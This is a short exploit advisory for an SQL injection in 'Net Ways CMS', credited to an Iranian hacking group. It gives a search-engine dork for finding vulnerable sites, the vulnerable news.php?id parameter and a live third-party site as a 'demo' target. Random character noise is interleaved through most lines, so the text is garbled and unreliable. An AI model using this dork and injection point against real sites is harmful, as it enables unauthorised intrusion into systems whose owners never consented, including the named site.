################################################################################??########
! A8 f# a/ o# J4 ~4 m/ C! q# 6 g# C* I9 T. r" N3 A! a) ]
# Exploit Title : Net Ways Cms Sql Injection Vulnerability
* U+ u& H) y7 `- E$ ]5 {5 h3 D# / }) j$ j& w3 E. k
# Author : IrIsT.Ir 9 d1 C7 u3 J8 A8 n* O
# 2 [: z6 z8 @$ f5 K, l
# Discovered By : Am!r
3 d1 J/ M F0 L9 g* {# 7 x4 W8 j! b# h8 m8 r9 v- s
# Home : http://IrIsT.Ir/forum
0 C( M. ]# S( C. m" G! t# G V4 H# ) @* |3 J# P& @6 z6 T1 i1 r/ E' `
# Software Link : http://www.netways.com/ www.political-security.com
( o9 y( W) V- }, i5 W4 h3 f#
! p) o! ?4 m9 R' K* e l' U# Security Risk : High 2 d' K T( L" F. M
# 0 M/ w h/ e* P) V# T( S5 D7 [, J
# Version : All Version 1 O9 s, T3 ~ k) F( k. N" U2 g
#
* t" M/ y6 l9 M( d# Tested on : GNU/Linux Ubuntu - Windows Server - win7
2 ]$ c: Y3 m9 ?3 A7 `' R+ l( Z# $ m* b6 m, u9 S0 H F/ E
# Dork : intext:"Designed & developed by NetWays" : B* m+ b: w3 D* Q# n+ L5 f t
# ! c3 Q7 |4 m! f3 M4 z# C& M
################################################################################??########
* U6 D: A- m) w% E. L9 m% u( n6 V# 4 x# F. o; R/ d, J0 e5 g
# Expl0iTs :
$ B% X6 @9 L' K" F# 5 c( K4 ^$ j d# T( h
# http://target.com/news.php?id=[Sql] - i, h* }, d6 B# O1 }3 l- s% j* V0 \
# $ E: G7 X# K8 [9 c, N& D
#
6 R# c1 s4 U2 n. L ]( \# D3mo : + `4 g1 ^- j7 ]
# + f- t6 T7 a1 n
# http://compagnieparento.com/news.php?id=7[Sql] / O; d$ w) K% Q; C/ y
# 0 Q. U+ @) w) c% q) u' v) m$ J# P
################################################################################??######## 1 D$ Z1 S, A- Y8 [7 M" `, E
# - g5 S1 x; a9 Z4 T& M) f
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
6 [! i P9 A# y9 s( C# 6 \9 ?1 J' e* p5 S* G
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r 4 J* A1 N. \, `) f1 g1 x8 n' o
# ! O4 A- h" _( B/ D6 U( m
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum 6 ~* q5 V1 g, k" g
#
- ~' T, O+ y9 ^. i( Z1 l6 N, |* x################################################################################??######## |